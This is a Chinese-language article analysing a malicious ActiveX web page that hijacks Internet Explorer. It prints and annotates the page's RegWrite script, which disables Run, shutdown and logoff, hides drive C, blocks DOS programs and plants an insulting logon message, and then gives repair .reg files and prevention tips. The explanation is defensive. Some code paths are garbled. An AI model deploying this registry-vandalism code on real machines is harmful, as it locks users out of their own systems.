瀏覽網頁會被修改注冊表？千真萬確！如果你去瀏覽過下面的網頁：http://www.某某.com/default.htm ，你真有生不如死的感覺！

進入該網頁會被：

　　1.修改開始菜單

　　1）禁止“關閉系統”
　　2）禁止“運行”
　　3）禁止“注銷”

　　2.隱藏C盤——你的C盤找不到了

　　3.禁止使用注冊表編輯器regedit

　　4.禁止使用DOS程序

　　5.使系統無法進入“實模式”

　　6.禁止運行任何程序

　　7.將IE瀏覽器的首頁改為http://www.某某.com/，收藏夾中也被加入該網址。

　　那么這些功能恐怖的功能是如何實現的呢？原來，該網頁是有人利用java技術制作的含有有害代碼的ActiveX網頁文件。為讓更多的人了解其危害，我查看了其源代碼，將其主要部分列了出來，并加了詳細的注釋（文中有“注”字的部分是我加的注釋）。

注：下面代碼是將你的IE默認連接首頁改為http://www.某某.com/
Shl.RegWrite （"HKCU//Software//Microsoft//Internet Explorer//Main//
Start Page", "http://www.某某.com/"）;

注：以下是該網頁修改受害者的注冊表項所用的招數

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion
//Policies//Explorer//NoRun", 01, "REG_BINARY"）;
注：使受害者系統沒有“運行”項，這樣用戶就不能通過注冊表編輯器來修改該有害網頁對系統注冊表的修改。

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//Explorer//NoClose", 01, "REG_BINARY"）;
注：使受害者系統沒有“關閉系統”項

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//Explorer//NoLogOff", 01, "REG_BINARY"）;
注：使受害者系統沒有“注銷”項

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//Explorer//NoDrives", "00000004", "REG_DWord"）;
注：使受害者系統沒有邏輯驅動器C

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies//WinOldApp// Disabled","REG_BINARY"）;
注：禁止運行所有的DOS應用程序；

Shl.RegWrite （"HKCU//Software//Microsoft//Windows//CurrentVersion//
Policies/ /WinOldApp//NoRealMode","REG_BINARY"）;
注：使系統不能啟動到“實模式”（傳統的DOS模式）下；

又注：進入該網頁，它還會修改以下的注冊表項，使WINDOWS系統登錄時顯示一個登錄窗口（在MicroSoft網絡用戶登錄之前）

Shl.RegWrite （"HKLM//Software//Microsoft//Windows//CurrentVersion//
Winlogon//LegalNoticeCaption", "嗚啦啦..."）;
注：這些代碼會使窗口的標題是“嗚啦啦…”

Shl.RegWrite （"HKLM//Software//Microsoft//Windows//CurrentVersion//
Winlogon//LegalNoticeText", "歡迎你！你這個超級無敵大白癡！《嗚啦啦...》故事開始了，按確定進入悲慘世界"）;
注：上面一行是會在窗口中顯示出來的文字

注：下面兩行代碼修改注冊表，使受害者所有的IE窗口都加上以下的標題：“嗚啦啦…”

Shl.RegWrite （"HKLM//Software//Microsoft//Internet Explorer//Main//
Window Title", "嗚啦啦..."）;
Shl.RegWrite （"HKCU//Software//Microsoft//Internet Explorer//Main//
Window Title", "嗚啦啦..."）;
注：到上面一行為止，完成了對受害者的注冊表的所有修改！

注：下面代碼用來將其網頁增加到受害者的收藏夾中

var WF, Shor, loc;
WF = fso.GetSpecialFolder（0）;
loc = WF + "http://Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName（WF） + "http://Documents and Settings//
" + Net.UserName + "http://Favorites";
if（!FSO.FolderExists（loc））
{
return;
}
}

注：下面就是使其網頁加入到你的收藏夾的具體代碼
AddFavLnk（loc, "找到感覺www.某某.com", "http://www.某某.com"）;

　　由于代碼很簡單，又加了注釋，相信你已經看明白是怎么回事了。那么如果不小心進入該網頁，并且已經中招了該怎么辦呢？別急，下面給你列出了解決的辦法。

受害用戶的修復方法：

　　1：對于Win9x用戶，建議在電腦啟動時按F8鍵，選擇到MS-DOS方式下，使用Scanreg/restore命令來恢復以前備份的、正常的注冊表。

　　2：對于Win2000用戶，把以下內容copy下來，存為unlock.reg文件，選帶命令行的安全模式，用命令regedit unlock.reg導入，如何重啟機器就OK了。

unlock.reg文件內容如下：

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/WinOldApp]
"Disabled"=dword:00000000

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/WinOldApp]
"NoRealMode"=dword:00000000

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/
Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Main]
"Window Title"="IE瀏覽器"

[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main]
"Window Title"="IE瀏覽器"

預防辦法：

　　1.要避免中招，關鍵是不要輕易去一些自己并不了解的站點。

　　2.在IE設置中將ActiveX插件和控件、Java腳本等全部禁止

　　3.可以通過升級到最新的病毒庫，來預防該類惡意網頁的侵害。

　　4.既然該網頁是通過修改注冊表來破壞我們的系統，那么我們可以事先把注冊表加鎖：禁止修改注冊表，這樣就可以達到預防的目的。不過，自己要使用注冊表編輯器regedit.exe該怎么辦呢？因此我們還要在此前事先準備一把“鑰匙”，以便打開這把“鎖”！

　　加鎖方法如下：

　　（1）運行注冊表編輯器regedit.exe；
　　（2）展開注冊表到HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System下，新建一個名為DisableRegistryTools的DWORD值，并將其值改為“1”，即可禁止使用注冊表編輯器regedit.exe。

　　解鎖方法如下：

　　用記事本編輯一個任意名字的.reg文件，比如unlock.reg，內容如下：

REGEDIT4

[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/
Policies/System]
"DisableRegistryTools"=dword:00000000

　　存盤。你就有了一把解鎖的鑰匙了！如果要使用注冊表編輯器，則雙擊unlock.reg即可。要注意的是，在“REGEDIT4”后面一定要空一行，并且“REGEDIT4”中的“4”和“T”之間一定不能有空格，否則將前功盡棄！

說明：對于“萬花谷”網頁的惡意代碼帶來的破壞，也可按上面所提的方法來預防，中招后也可參考上面的方法解決。另，KV3000對“萬花谷”可完全恢復，對本文介紹的網頁破壞系統現象，則無法安全恢復。